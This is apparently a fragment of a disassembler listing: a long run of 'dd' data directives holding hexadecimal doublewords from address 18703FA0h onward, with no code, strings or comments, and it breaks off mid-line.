18703FA0h dd 83907C8h, 666E3A9Fh, 5C1099A8h, 6CDD32F4h, 1EDC301Ch dd 144E0B4Bh, 7020F059h, 540BE645h, 2C11288h, 37CCB9B1h dd 307A02C3h, 0A2BFABC5h, 3400ECC6h, 8175B5Eh, 429A59DFh dd 0D41A1F3Fh, 0A2419701h, 5C20B0DDh, 9A39EC01h, 0A66F0548h dd 0FCD93A82h, 0E08A4A78h, 9806710h, 0AB82F69Fh, 0B0144680h dd 481BE298h, 0CAF88408h, 0F3A51C8Ch, 0D9320BE2h, 23735CA0h dd 49C2B1FEh, 6406FB24h, 0D73200C4h, 0F4D42D2Fh, 8002AE0h dd 64961A5Eh, 2595113Ah, 4B7EB5Ah, 1F0CF03h, 0F8FEFBEFh dd 0A8C56A02h, 0BCDBE94h, 159E6B6Ch, 9A548052h, 6A270794h dd 45300BF9h, 60CEE45Ch, 23B4F6h, 959FBC9Ch, 0CDF9C855h dd 0F890A748h, 19008C1Ch, 0D5D0D608h, 0B7C2F68Dh, 81A7A084h dd 0C0AE9808h, 3BF0D978h, 3A227C90h, 0E2C0CB85h, 0EE58F4DBh dd 0DCD70344h, 13434551h, 31F859D3h, 0C8C0A556h, 7B19E92Ch dd 0EBFA01AAh, 1F5942D4h, 0A25063CFh, 0A8D0301Ch, 0D6908F17h dd 2C3298DDh, 163012E2h, 4854382Fh, 17E6F00h, 0A23DC383h dd 79F4464Dh, 14126A4Fh, 0CDA204A3h, 1C928E30h, 42ECD5B0h dd 0EF4EB75Ah, 1C43244Ah, 704228Ah, 6894A8ACh, 25064C2Ch dd 0A882A446h, 0A8095342h, 97A78C51h, 801F9164h, 0CFA88997h dd 70019547h, 2B656A08h, 99A538C0h, 1D68BE12h, 0FC66ED6Bh dd 5CC2DA4Ah, 0D1B87101h, 135C18C7h, 0F242431Eh, 29E700A0h dd 5FF8407Eh, 0F7507EBh, 19F3C51h, 6CD4DCBDh, 10EC5824h dd 8858A089h, 4B3D5F03h, 2000E780h, 2B4AD47Ch, 1538C17h dd 6870DE65h, 6A6A6C9Bh, 48984049h, 0B804D85Ch, 11D52793h dd 3A7BA802h, 76E4C0AAh, 2700CC46h, 0FA757B21h, 4F007699h dd 3ED01A83h, 45F18AAh, 7C2177B1h, 0BE0B856h, 0C052910Ch dd 4823FFF4h, 40433405h, 1830CDB2h, 2A7E1F31h, 0E3A480B9h dd 0ABF8BA40h, 0A56E7009h, 58BC7BE7h, 723E6AFCh, 0C5D29F47h dd 0EA611044h, 0E8ED3490h, 153B004Ah, 0E0B96430h, 98972FA4h dd 0A81F5D48h, 5BEBB8h, 637DCF2Eh, 0B817034Fh, 748CD64Eh dd 51322F01h, 1854D0C2h, 2C40DE58h, 22B0199Fh, 11B09994h dd 0FC4E17BDh, 0CE23C83Fh, 555FD100h, 183277BFh, 59F16276h dd 0A9F01DF3h, 12FAA158h, 0D8A020DFh, 14C61023h, 1660E2C0h dd 508BD70h, 7712680h, 40AD35F6h, 7A25B4C7h, 814F73Fh dd 63F3DF7Fh, 291AE778h, 320150Fh, 1DD8DF18h, 8A049h, 0CD095D78h dd 15135B4Ch, 60CB3707h, 65C0CAC8h, 90EF29Fh, 0C3B3F058h dd 0C2440C59h, 0C4F8D4A8h, 0A0E7598Ch, 0F850C625h, 2B7B7609h dd 440859EFh, 6CBC348Eh, 8CCCACh, 0E4DBDAEAh, 0FC6B130h dd 0F888BC4Bh, 9A683D2Ah, 0B5A6A200h, 66F4FFE9h, 7524A158h dd 9F4441FFh, 0FA4AF47Bh, 7B4C8B9Fh, 60667074h, 83158107h dd 29B1B06Eh, 60AD10F5h, 1A88C817h, 0A844617Ch, 1C352B13h dd 0F1BC68ACh, 0DA037B43h, 0DAE9E9Fh, 5A1691B0h, 0CDABEE12h dd 0E437E30Bh, 50B5976Ch, 348E5700h, 44226C2h, 82464B5h dd 0E6A890ECh, 0F013B42Bh, 0BC48109Fh, 0C4467E9Ch, 9A6FF104h dd 48D8E8B2h, 0CA6700A8h, 989376E3h, 38B8ACC2h, 0C5DFEE8Dh dd 7CF8F38Ch, 0A02B0335h, 64BC78A9h, 4C10F1Ch, 7A3E0C01h dd 0EC6525EAh, 0F54C203Fh, 2F0075AFh, 39FF41ADh, 23B2A74h dd 0A99E9071h, 0C0FBDF17h, 0BE7CF58h, 516E99E0h, 0A109B472h dd 0D882EEFEh, 5022F89Ch, 873F74A6h, 526020E4h, 0C0E3BF1Ch dd 90CBC9Ah, 91BE4EAFh, 271A00DBh, 0E87DEE4Dh, 557AE9C1h dd 92E868D8h, 683A9531h, 1C594059h, 0BE47718h, 922D0771h dd 5D78E4B1h, 0FC0F4C5Ah, 0A901F75Ch, 3154024h, 51E7C270h dd 62F4736Ch, 8B244093h, 0CFC4DC6h, 61400C96h, 0F4A8A678h dd 0F31D8613h, 90651AD1h, 817BFDA0h, 5901FFACh, 0F34F96A9h dd 53C0EAFFh, 188719Ah, 2BCDD0A5h, 0C0E0B21Bh, 0C09252A0h dd 0EF784595h, 304789D1h, 4A723BACh, 0C084C462h, 0C3EBCDD0h dd 0B46E2FF9h, 2ACDD201h, 5181FCF9h, 1DF5C4h, 396B570Ah dd 0B72B8834h, 24FB2598h, 3C549970h, 540EE64h, 9F008474h dd 6D3CBB91h, 4F71D3D9h, 0DBF4C0F6h, 7627296Eh, 0B6A4689Ch dd 2C6182BBh, 6EE035E2h, 71ED9C0Bh, 18C9F170h, 25077036h dd 0E8C15615h, 2C52EA24h, 62F68D12h, 207A14A1h, 0B9DD337Ch dd 0B6F3E900h, 9BAC513h, 0B00C0242h, 896A08CFh, 379DB4D0h dd 5C6D0044h, 1115457Ah, 9B2F961Ch, 0D6AB9882h, 280423Ah dd 791A8Ch, 0C2CEFECBh, 9420D282h, 0BA00DC9Ch, 4F4102EFh dd 202C15C7h, 5E2DBDDDh, 9950820Eh, 0FB240264h, 0BD01C444h dd 71BB3608h, 90340FDAh, 170D4E32h, 4FD8F7B4h, 7523742Bh dd 4F267A00h, 11CC610h, 64F55985h, 6C7E41F6h, 6CCF02D8h dd 0C0264572h, 4E656D47h, 0C05484DCh, 0DACC3B7Ch, 799DA703h dd 18B90B6Eh, 0C1245D89h, 300E815h, 0AB07B5EDh, 745B87D2h dd 9BFE0BE2h, 3467DEBFh, 0A980D14Fh, 0A28B346Ch, 9FF6FE28h dd 13C320A1h, 8E2AA869h, 1AC5019Eh, 295C7334h, 0F4A4E468h dd 26ACD61Eh, 76307849h, 77467420h, 9CCBED00h, 2D962148h dd 0FE23B417h, 5108E0B2h, 6409A742h, 78C4861h, 0E42707B2h dd 23ED2FCh, 585492A6h, 64961B01h, 7CF1F9B4h, 7BF42F3Fh dd 2EFC8Ch, 0C567CB5Ch, 57B288E6h, 0EED19D09h, 3B1010C3h dd 0C65E26D2h, 34F1446Ch, 0C488A4CBh, 94C35DC4h, 17511F86h dd 8446C0BFh, 0F81941A2h, 1DF1D8B9h, 0F4CD2F19h, 675D66F0h dd 909C2117h, 0AC1BC72h, 0E2A71E00h, 0A16D08FEh, 2506FA56h dd 5065EAA0h, 5D80743Fh, 0FF49C020h, 0B9E09DFBh, 0E1062903h dd 2CCD9044h, 894816D0h, 789DF9E2h, 1D80CC11h, 4F221641h dd 409374Ch, 72440DCh, 0A24EC4EDh, 7B007C68h, 0A576AE95h dd 203D3E5h, 0D0108ABh, 0F05E6165h, 8703FCBBh, 18CE5BFBh dd 4578D8F5h, 8DBA073Dh, 0F176EC06h, 0DE046927h, 24EAD874h dd 831600D6h, 0B2CC6F8h, 0F20250AEh, 0E2999E20h, 0A854681Ah dd 889695C1h, 3C1EF068h, 1E465Eh, 45183DCDh, 240388B3h dd 8BB86BAEh, 9009C0Dh, 2FCF602Bh, 0BC6CB63Ch, 0B7B0916h dd 0D610D43Fh, 5FE9BC04h, 3D80A496h, 165146B1h, 0C4659A81h dd 0D2A0A8A8h, 7223503Ah, 3EA1F600h, 2FA50A2Bh, 0C46007ADh dd 0B7093843h, 0D189BFD7h, 259A04B8h, 932E07F3h, 35A0F1E0h dd 0DD3401ACh, 3D87D641h, 375FEA09h, 1EFD00BCh, 8D73B140h dd 58006EE0h, 0AC34C448h, 944E4A0Eh, 0A15C0280h, 0F0FE056Ah dd 7B291502h, 82F092BAh, 5522668Ch, 9F040C94h, 1FAF431h dd 1608CCB9h, 0D104C0EAh, 6BAF3F6Fh, 0EFE100C8h, 6D78E90Ah dd 2738B0B4h, 60613E03h, 0FCC53BFAh, 78BC88A8h, 0D5D0FB8Ch dd 3A2D0218h, 62C7DE04h, 6102B45Ah, 0F49344F8h, 9EBF466h dd 10560A49h, 6E10D251h, 0A0BA5DF9h, 16818458h, 0ACE06A31h dd 4BC909AAh, 147050E5h, 0A4AC4744h, 0BABB00FCh, 17B8407Bh dd 98BDA2C0h, 8001BD60h, 0E5C240Fh, 8180484Fh, 0AFEC2EA9h dd 504CC4h dd 23DD716Ah, 93F8AA9Fh, 43F8B3Dh, 9A8E3210h, 2C562F09h dd 0CA3BD743h, 21C5C66h, 0FECD9A01h, 0F68EF8A0h, 0F496785Ah dd 31123513h, 71C34A8h, 0A0E0EF92h, 5F12BC1Ah, 5CC54Eh dd 4143D1C0h, 1BB060h, 1EBC10B5h, 0E2807FC4h, 44E095F6h dd 50407896h, 1CD6A4h, 0C5E8C1E3h, 66074C95h, 0C2203090h dd 6C6B110Ch, 133D3E7Ah, 3C5015DEh, 48A34F64h, 76FE9F0Bh dd 84906CD0h, 66D30905h, 0ACE834CAh, 0DAFEA009h, 0F3D63C40h dd 0C084D424h, 64798708h, 1528A011h, 0A39883Eh, 0DC2C506Dh dd 234C2027h, 0C04FE13h, 79C216A0h, 5D33E050h, 8323895Ch dd 0CDA107EBh, 0B21D662Bh, 0E076CA41h, 0EF00E8ADh, 42C5009Dh dd 0C230DCC3h, 0F3039F76h, 0F5247AB5h, 2A512D03h, 0FF594BC0h dd 0D4398A2Ch, 5067281h, 132EA71Ah, 89E8A828h, 60C4745Bh dd 0DB7455F7h, 0B366601h, 0B87547AFh, 464D92Ah, 0ED7085E4h dd 0C1B830h, 0B76EA762h, 6B99AB24h, 5CF3554Bh, 830EEB2h dd 0D9323E79h, 0E041F893h, 568281E0h, 543E63A0h, 0FEACE4E5h dd 3AAA2040h, 0C84B5218h, 6C4E5620h, 28397CE0h, 44AC5513h dd 0E494AD1Eh, 2060738Fh, 3110CBC7h, 76052516h, 87C004E3h dd 0D8A485BEh, 2E9B1F00h, 3BD8BB9Ah, 0A0044C88h, 38CD2525h dd 91409525h, 369D8772h, 0B835B9F3h, 20719C28h, 3B04F6A2h dd 0BC34D639h, 0F58014B8h, 1F43D2ABh, 0C2983CF5h, 7E8EA23Bh dd 6E467CA8h, 405E5F00h, 542C961Ah, 6B5BC30Bh, 0E3809379h dd 56E0CAA0h, 614B56F8h, 4A80A4h, 0CF278662h, 0F719D564h dd 0FAA0960Ch, 2DE420D2h, 0BC97DF18h, 5A81C711h, 70777933h dd 72416AF8h, 88168468h, 84B8DE15h, 0A0B99856h, 0EAEEE603h dd 0FEA04029h, 5E269565h, 0E503F011h, 9A8D23B0h, 0D218A049h dd 0DF28A4h, 0BE8905CEh, 115325BCh, 22F0BF00h, 6974C619h dd 97CB00F5h, 0DB40D76Bh, 154B28D4h, 0F0E1B4A3h, 43D80D7Bh dd 0FB360071h, 0CC56EE7Ah, 0A22DA134h, 77D850C9h, 0C16499Dh dd 7459D925h, 1C7038A1h, 9101867Ch, 6F427A22h, 0CC604D57h dd 0C8E758A6h, 8C71BCh, 3B789AC4h, 0F4F35E75h, 0AFA83997h dd 0F124B215h, 0E30C7C1Bh, 0D29E9B12h, 0DEA26CACh, 37113420h dd 925E0555h, 0C0350D3Eh, 0F4EE15F0h, 0FCA16E4Eh, 6DC7E86Dh dd 981748E9h, 0B5D8D3h, 91753854h, 9A42A3FEh, 0B5E2473h dd 0FC436088h, 5FD4EADEh, 80309B10h, 2C9C541Ah, 2044B007h dd 0CD09747Eh, 0D4E7DE3Ch, 9803D6D8h, 0E8A2EBF0h, 5E88DADDh dd 0A89D1208h, 48A99264h, 7DF67F10h, 48DD3A2Ch, 262853A5h dd 0FCF802B8h, 44099E2Eh, 55520074h, 0B88D5C34h, 0E90B9DECh dd 2E05459h, 252EFCh, 0B12DD7ACh, 0EB617004h, 9CA90523h dd 0CA5F4001h, 7F161F4Eh, 0A06D040Ah, 0ACF927h, 35C99DA1h dd 0DE01CAC5h, 0A629BFC4h, 2187744Fh, 449B086Fh, 7000BF06h dd 4F892498h, 0A821D279h, 3E448C4h, 0FDFB234h, 3B6D9165h dd 18601435h, 9813887Fh, 0AC0015F8h, 0D7D41AE9h, 7F05BF81h dd 268A13DCh, 2B3030B2h, 5413938Bh, 34CB5C73h, 0B5C06EC8h dd 4F5B973h, 0C18B2A7h, 0C218AC08h, 58CA7A3Dh, 0DA014ACCh dd 0C0CB8888h, 7BCD8746h, 0EF6DA709h, 54CD482h, 53759562h dd 3C1D07C4h, 9D8A221Ch, 430424DEh, 9B56C8F7h, 0C4859D90h dd 0FC81319Fh, 772E8B6Eh, 7DF9A1D8h, 0FE198981h, 4C8D806h dd 1207F77h, 0BCDCA8EDh, 0D9138CC9h, 24A82439h, 0B2321881h dd 6A344171h, 98CE3BD3h, 0E5C021C8h, 2AB230Eh, 8DFDCB04h dd 0B479EBC3h, 0DF18C879h, 11E8C0Eh, 42405A5h, 786C44B5h dd 2708FB0Fh, 9714AC12h, 0FD80C89Bh, 0AE534D27h, 0D0180407h dd 0F9474690h, 96323D01h, 167CBC20h, 9BB6E18Fh, 1968918h dd 0B8C74A58h, 5A8D1834h, 0CF8890BEh, 0B901A1C1h, 4CE1CB68h dd 7EADA21Dh, 0A9AD8885h, 0ACE82B04h, 0F6EF8E0Eh, 65017FF8h dd 0E74A1CAFh, 0F8406F98h, 0AAD75479h, 0B06A00D1h, 9F8C591Ah dd 0A204F8BFh, 8DB32FCDh, 0A0091481h, 1DBCB07Ch, 48F20B8Ch dd 0D4872B0Ah, 0B0D1C930h, 0B2516E02h, 3528409Dh, 0D6A8BEE2h dd 6A447E13h, 957CF4B2h, 0C491F09Dh, 840BE58Bh, 0B09A00D2h dd 0F4A8D4B4h, 51D9BEF5h, 2A198288h, 5CB2313Bh, 0BFC275E0h dd 82B09286h, 0ED3F6F30h, 561EC0A8h, 0F63E2C9Dh, 84880E11h dd 2202CBA0h, 20BC4E6Ch, 0F4E12C99h, 182A400h, 19AA0A2Bh dd 238BB74h, 6AFA247Fh, 0D4C05A24h, 9C41599h, 16880BEDh dd 0F758F052h, 0F8EA10B4h, 5D320104h, 0DCA317F2h, 0A909004Ch dd 6074C422h, 77D14674h, 0B70381Eh, 822D9007h, 0FCAE1822h dd 3E4280B4h, 1EC4EFCBh, 0C6A11B74h, 0E7E6F4A9h, 0C8B6CA02h dd 55E2D2EEh, 8470C1Ah, 0D60CB44h, 0F609CFE6h, 8199B45Ch dd 1AD19B66h, 0B72C823Eh, 100B4441h, 51C2FE8Dh, 342BC07Ah dd 830C8CE4h, 8CBA0303h, 0F06B4D87h, 155DA65h, 2CEBD90h dd 0C19DE4C8h, 804C2C66h, 0AA380CA3h, 0E3F7AEBh, 0FD5CE07Dh dd 7EA0294Fh, 9B0F68CCh, 923C6C12h, 13B2C4B6h, 10B4330h dd 6CA85EFBh, 0FF5649CEh, 33886A8h, 0AAD68012h, 9FC3FCA8h dd 0F0DE6A16h, 15C89995h, 56C8E2D6h, 105552C8h, 0EAFA6EE4h dd 8EF75B79h, 0C71B8868h, 6301E1AFh, 30422B5Dh, 802C0F76h dd 3F98DFD9h, 5CB800CBh, 0BBC18AB6h, 0B402D2B2h, 0EE9FCC16h dd 3150811Eh, 87007D0Ah, 3D2FEB3Fh, 110E8D2h, 2AD000E7h dd 1AED4CF9h, 722570DEh, 67C4C2A2h, 601AC464h, 2E3BC277h dd 448C16D2h, 23B0B46Dh, 67E2392Fh, 60D14454h, 7665Ch dd 345E4668h, 0D088A384h, 3A5DF909h, 2207331h, 0B91346D2h dd 9730D22Bh, 18C368EDh, 0C851B0BCh, 25BA00ABh, 13241059h dd 0B8003C08h, 0D41AE7DAh, 1A3DA68Ah, 80D79FF9h, 0DE81FCD6h dd 0DAA3C741h, 0F9C8602Eh, 0F1769A54h, 44684D95h, 992A61C9h dd 21966430h, 0E82D4CCCh, 9D5810h, 34A9C223h, 0B95F6792h dd 0A5A84A48h, 0EEADF4A8h, 1BDB630h, 8E5A52C0h, 20B8DFB9h dd 0A35B1EA0h, 1BB2C4F3h, 7FE08331h, 26D4F616h, 0C4BC457Bh dd 0C404EEAFh, 0B8ACF0BAh, 8C78ECh, 6B2B719h, 7A759D93h dd 9A016217h, 1C3014B5h, 68234146h, 242F2208h, 11F81877h dd 0CE64AD9h, 0ECEE23E0h, 0D0A1D624h, 55A26642h, 4D69412h dd 2C5700DCh, 0A40B50E7h, 0A22702D1h, 0D88D07Dh, 25E28A37h dd 148992D0h, 0DEBDB8F8h, 39B730h, 48869535h, 7DA9AF8Ah dd 0B87B4E02h, 5FDBF47Ch, 1B81E4B5h, 2C46CA9Eh, 0B7069820h dd 705494C0h, 64F2354Eh, 0C7C1BF1h, 0BE600125h, 66799D5Fh dd 0EEF8AF10h, 0CCB59DB8h, 15478F02h, 88C340CFh, 3BF60BD4h dd 84E0AE72h, 0A60940ACh, 51E36FC2h, 181DF114h, 1F2E16A9h dd 2890D0AEh, 1EE8B50Bh, 989BD14Fh, 3FA4B5C0h, 0C04C6ECh dd 5FE94B61h, 0EF241EBBh, 0B52C9400h, 7316F9A2h, 7C44E3DEh dd 0B0129C26h, 7012AFD0h, 7C400651h, 3BCDAC33h, 0EB0218BDh dd 0D75630D4h, 513C382h, 14282458h, 0E86CA8E7h, 8B008CCCh dd 0C0EE8479h, 186AFB70h, 0F9225D72h, 0E200549Ch, 32343B31h dd 910A603h, 7C87D905h, 0CD51A873h, 0DF387F18h, 3EAF8BC5h dd 255854A2h, 21D96471h, 0CC025A18h, 0D2F3AC99h, 10A0E29Ch dd 0B86F4ACh, 0D91216A0h, 58713054h, 806A2B0Dh, 7F90890Eh dd 87380AC0h, 0C04AF556h, 1D2530F6h, 0D01A7040h, 0DF29270Bh dd 8E008306h, 3BEEEC65h dd 7BEE1034h, 0CAE0EFCFh, 0A7235AD3h, 4541095h, 0ADFF00CBh dd 25AAC495h, 0A22881CDh, 2E05ABC2h, 5B9FE412h, 0F93035AAh dd 2E1AB804h, 9D8DBFFh, 0BCD68866h, 5CC9E88h, 0F00C5DD6h dd 2195AC2Ch, 6176B540h, 0F48042FEh, 0C648DEF0h, 0D4FA1084h dd 5051FF2Dh, 24C4A5h, 65F378AFh, 347D5C60h, 3CB1BE00h dd 745E86C3h, 8D7127A9h, 97DD4842h, 81C7918Ch, 0BC4C85CBh dd 0A214C27Ah, 0EC013405h, 5D072B66h, 272C712Eh, 19FFF00Dh dd 4AEC4695h, 7700D04Fh, 0CC002C6Fh, 30FC23E3h, 97B345Fh dd 0C41EA16Ah, 0C444FCE7h, 0CD693761h, 22B0607Bh, 17073488h dd 0E420553Ah, 0F95FBA50h, 9C825CC5h, 0CCCF4F2h, 90A96FACh dd 347323Ah, 63969A6Ah, 1CF590FEh, 805A01F0h, 0C01ABC16h dd 0E1C6D88h, 820BE0AFh, 70BE8AEEh, 15D72024h, 0C6C3F501h dd 0BF4B579h, 250E03E0h, 0E800B20Dh, 0DE459AD4h, 411A4013h dd 0A96EA000h, 342A0ECAh, 0AD9886CEh, 76122234h, 0D69625EDh dd 17134859h, 1A1050B3h, 3A9F0082h, 26719DD7h, 9DCC9EEBh dd 3858E587h, 8C60ABh, 0FAA767CDh, 9B6B0E08h, 0CE74E55Ah dd 5E07343Dh, 106776DEh, 2B8570E1h, 0E630F904h, 4FFB61BCh dd 0BD4083F4h, 2D3820BEh, 0D3A0E701h, 0BF8C8674h, 90E07BD4h dd 0EC109511h, 0C1C9D162h, 95F85AFAh, 0AE815043h, 0A636106Dh dd 66770040h, 6E09CE2Ch, 98001CD2h, 0F250A84Ch, 2CD69F64h dd 328DC91h, 0E2CD3B15h, 24D5E5A2h, 15F2744h, 0A08C7F5h dd 5BC725Eh, 0CBBE1505h, 0F2413091h, 0E0B0DDF2h, 0D007FF4Fh dd 8F833772h, 22AA1FC5h, 0A520A738h, 80F1F679h, 0D15D8AFFh dd 0BE721390h, 91174A4h, 17295D6Fh, 0E38CE900h, 680B1E0Fh dd 0D43E2775h, 6F6B4178h, 0F559817Ah, 0EF7041CBh, 0CC2A60D9h dd 4E5A7370h, 0F0C4248Eh, 0DFED307Bh, 1206005Ch, 0C121B3EBh dd 90A8329Fh, 2F02D828h, 0ED3794D0h, 58377D3Eh, 66F49480h dd 5AAA0CFEh, 0D2985C9Bh, 61FCB76Dh, 0B811BF78h, 41DE7C70h dd 0FFD4E30Ah, 0CCF61C17h, 0E4EC47E1h, 644AC593h, 9B6BB4B1h dd 6B7480E8h, 0F82EB5DCh, 8A60128h, 14FE6C61h, 9C176ED2h dd 0A00A30F3h, 1084151h, 1137D403h, 42DBEC0Bh, 0F8C6A327h dd 9DE47094h, 215078C1h, 0F8F445D8h, 8C1DEC70h, 249A3401h dd 8535C996h, 0CB04956Ah, 0C221C814h, 0F440CCF0h, 937082BAh dd 0CDAAF515h, 0F3B16D4h, 9DC22CA8h, 6858F299h, 0B490614Eh dd 16D95356h, 1D596DA2h, 23A94400h, 486FBEC4h, 8E183A00h dd 0B598C2BCh, 1120278h, 4CACC3EFh, 687820B9h, 222588B8h dd 568CA2D2h, 0C6870788h, 6C96E18Ah, 356B4438h, 0C889C676h dd 0A9003810h, 3AC892Ah, 6B247E0h, 0B0C59BCDh, 4FBF2011h dd 9C744088h, 0A311CC6Dh, 0B000BD4Fh, 5E26E8E2h, 0FB00F088h dd 68172B02h, 2A073029h, 95C4C932h, 0EDBF6846h, 374DC704h dd 5A1360E1h, 0EA29420Eh, 0A08906Ah, 0EB8562D5h, 19C4A704h dd 282A2CE1h, 9D8A18C0h, 7BF10868h, 3DFF5C60h, 69DC036Fh dd 4DD7F413h, 8872ABCCh, 80FE2943h, 0ACD7A440h, 0C87166h dd 94AAE263h, 4BD93668h, 1118B003h, 90603B24h, 0DF16D29Ah dd 0A456A5B0h, 0E61D00DEh, 2B3DF11Fh, 0C000715Dh, 46095E4h dd 959834F9h, 8859DC92h, 0D4197759h, 850E5E9Eh, 0A1344FA7h dd 0C436F6A0h, 8E71C441h, 84E45D2Bh, 32B915C6h, 0E9E22485h dd 0FC1AC54h, 9EC47EFEh, 0B93C0A84h, 0A12C5700h, 0C0DCEF2Dh dd 660E1A8Dh, 1855C0A5h, 27A15AE8h, 0D0604D32h, 0A97EA50Fh dd 73282B00h, 0F95B10A7h, 0BEAD0E08h, 1BEF01Ah, 5E36346Bh dd 6EB421D9h, 6800A46Eh, 0D198E174h, 0C09FA066h, 7415B788h dd 0F3010B32h, 52099A70h, 72D944F1h, 40E04918h, 7AD1DA0Bh dd 6B2454E2h, 72E414E5h, 0BAB6CE60h, 26D1950Bh, 0DC642Eh dd 0C1438E3h, 0C6C30333h, 1512CDF0h, 4E00B8E4h, 829CEBE1h dd 0EAAD24EFh, 0AC51A50Ch, 70E8F3A5h, 1E095578h, 5681B67Ah dd 0ED29C0C8h, 0D0B4B010h, 745D4DDEh, 0A9C72C02h, 85C7621h dd 8144376Bh, 9E88636Ch, 0C9B7A83h, 0AE8C7A85h, 0D9E25C20h dd 0AC2E00CCh, 86D1D41Eh, 4A388068h, 68D54B24h, 0F2C36880h dd 2A093FDh, 6A41F8DCh, 0E981BCDEh, 0D9196B0Bh, 0FC54816Ah dd 0DE2C3060h, 0ABF33400h, 15D4BB02h, 0D32E2F05h, 57E9C4E9h dd 540750B0h, 0B205F618h, 0F92437B8h, 802A4089h, 8B4335A8h dd 58CBFD5Fh, 1BC06DC8h, 9D3F2493h, 0D348020h, 0DC12F623h dd 0FB123B01h, 0BA3E9C03h, 29C38A6Ch, 0F840C4D6h, 258DA0h dd 906735F1h, 0A8B3D4DDh, 0D675D917h, 71319409h, 14ED8200h dd 0D0C4D826h, 4F8C9A20h, 0CF180064h, 30E937CBh, 9CF06EB5h dd 0D14656C4h, 0D5021707h, 4DDF80C0h, 0EE0BB97Fh, 40DAF68Dh dd 2F0D634h, 32187AA7h, 14F68592h, 29D50A88h, 0CDB2720h dd 0FB5D70h, 3E7945E1h, 0EEAF4090h, 78A4315Ah, 18BB9587h dd 10CC54EDh, 0C5ADA90Bh, 467C1854h, 1FB20E6Dh, 88D54Eh dd 7342F467h, 0A35563h, 0FF43493Ah, 99D86905h, 20A0E71Dh dd 25B4F780h, 0E8983679h, 0C5AB078Ch, 47E37C06h, 0D459E907h dd 0C7C1FB9Fh, 0CB7C2574h, 21F8CB3Fh, 64CB63E0h, 0DFEC291Ah dd 5C180320h, 0F0494FA4h, 10978708h, 273BF740h, 34DBE7D5h dd 4F455F58h, 0E51C404Fh, 8BE3A256h, 8090CF00h, 0B32D8CD2h dd 369B0017h, 0DF82A172h, 0E8B59911h, 7F8370h, 0EBB386ECh dd 470455B6h, 26626A00h, 7CFC40Dh, 81824FF5h, 600FD430h dd 9D5B6AE0h, 1BC8DCCEh, 2CC08FC4h, 9743E5A7h, 7C454014h dd 2812204Bh, 23183EF8h, 65530773h, 519F8280h, 94633054h dd 9A6FD844h, 0BE8Eh, 0CF9C64F9h, 3B16DB1Eh, 7841997Ah dd 14E19201h, 2506F060h, 0F066DCBDh, 0E7329F04h, 78D27127h dd 0A51C5413h, 9DEBC56h, 85DCBBC3h, 0EDFC0C00h, 2C1E50F8h dd 0BF49EA40h, 61D07E8Ch, 2B54FC63h, 38ACCC34h, 74E30580h dd 94000D65h, 39CF6136h, 9F23E88h, 0CCBA7DADh, 0D6E95C5Ch dd 0E500D4ECh, 39EC073Ch, 161D0260h, 85AE9A3Eh, 8423BF4Ch dd 58B7D848h, 0FE390082h, 5789FD0Eh, 0AA583B2Bh, 0C0AE1090h dd 0A1BFDD09h, 0F1622074h, 0BC8909FFh, 4B4FE854h, 794DA5Eh dd 0C89AE365h, 53EEA04Ch, 0FC3D74D1h, 8872273Ch, 450CD168h dd 2CF348E7h, 74A47DC6h, 89001E46h, 9B5C2CD8h, 727F3BCCh dd 55141A97h, 309FCB7h, 31B88117h, 0DD2A81DAh, 0E46E2BF4h dd 0E922A000h, 0F20AD2FBh, 0EE966905h, 0A0E0D5F9h, 0E0209DADh dd 66AECD91h, 6CD2E307h, 41094A5h, 42BFC10h, 15062A1Fh dd 3034AEDAh, 0EDC278B8h, 5CDEE2FCh, 806FA834h, 4F2EBC09h dd 0E8DCC30h, 5B54E259h, 2647830h, 0F93E13F2h, 8014B89Fh dd 8F44B007h, 793500B6h, 0CEC7D4EEh, 0C493C2E7h, 0F7181B71h dd 0EF0280C9h, 35D9606Ch, 911317BAh, 0A4FDFF4Dh, 2A91C9CDh dd 5C809CDBh, 2C4C2B2h, 61B93A2Dh, 67FC4AA4h, 852F00E7h dd 9AD75C8Dh, 6D2B3C6Ch, 1C598814h, 6137E819h, 3206F202h dd 7FC4197Dh, 78F4C0B2h, 638C07DCh, 6149C215h, 2F4DC8B3h dd 68AD5434h, 0C808CAD2h, 80E5C073h, 6098740h, 5CBF56EDh dd 3EB67120h, 0CD235C3Eh, 8689CC00h, 0FE9747C4h, 695A60FEh dd 36B82BCDh, 0C4902D6Bh, 693F0074h, 0E65F4E8Dh, 0EA03D8F2h dd 7F544ADBh, 6A449068h, 164C9EDDh, 0F868E870h, 2C008CCBh dd 88CD9766h, 0B241EEDEh dd 5B4A00C0h, 768961Ah, 4437BE72h, 32329808h, 6880F705h dd 3A8AD63Bh, 0C40B8912h, 0ADA5E4ACh, 0A0FCA9A4h, 5FA6022Bh dd 0F5F96E41h, 0A40060D0h, 657270E3h, 16ABBE17h, 0B9A7D8ECh dd 0EB82Ch, 8E102CDFh, 5C0C5BE7h, 72D23B0Ch, 9F54B8C3h dd 0F6F5CCE0h, 0FCF39D4Fh, 0C7BEEF1h, 2EA51DD1h, 0A89A07F0h dd 0D8BA53D7h, 792682F8h, 1A1D3A14h, 7B24829Ch, 74C85EFCh dd 1A037446h, 792565DEh, 0CE9C3783h, 7BEE84B4h, 0EF8FD730h dd 348EB80Eh, 7E0B4094h, 2D011F2Ch, 1CDA0624h, 8E4ADD7Ch dd 74ECB095h, 0C2D1A3C1h, 7C80616h, 0A623E3F5h, 0D4563995h dd 6DA24160h, 27149E93h, 0A1801CB5h, 4FE58DE2h, 5FD8E6E8h dd 0BD4040ACh, 86799F90h, 0B5D35100h, 0C417C01Fh, 0FA30944h dd 44F62A14h, 603720DCh, 901ECE20h, 0A0FD4BD4h, 23767580h dd 73517E69h, 0BCC9705Ch, 3246F12h, 296EE820h, 2C74595Eh dd 0F410B772h, 9501DD2Fh, 0F4FFEEF0h, 7ECFC2h, 7D440E4h dd 0FA0B756Dh, 513F24ABh, 62498280h, 6D55E7A5h, 355C61B4h dd 0B8CC2E3Bh, 1F3801F9h, 5D8571AAh, 8392E0Eh, 2A00CDC9h dd 17975E07h, 80D191C4h, 0A0ECDCEh, 5B1200EFh, 0A253CF2Bh dd 475CABFEh, 8C1AF880h, 27A9E701h, 8592088Bh, 405C033Bh dd 41EF579Fh, 7C7216A0h, 6FCB06E8h, 0DD97BFAh, 0EE61A279h dd 0E4993F30h, 9E8A9E20h, 0FC13177Ch, 54A34F18h, 0BE301EB2h dd 983B001Ch, 0D41AA0A2h, 0DE2FA53Dh, 0E4CCC513h, 59746071h dd 6AFB0166h, 0CA51C890h, 0EA98986h, 55AC42BAh, 0CC064CDh dd 5B3547Ah, 1C8D3821h, 4C62AA62h, 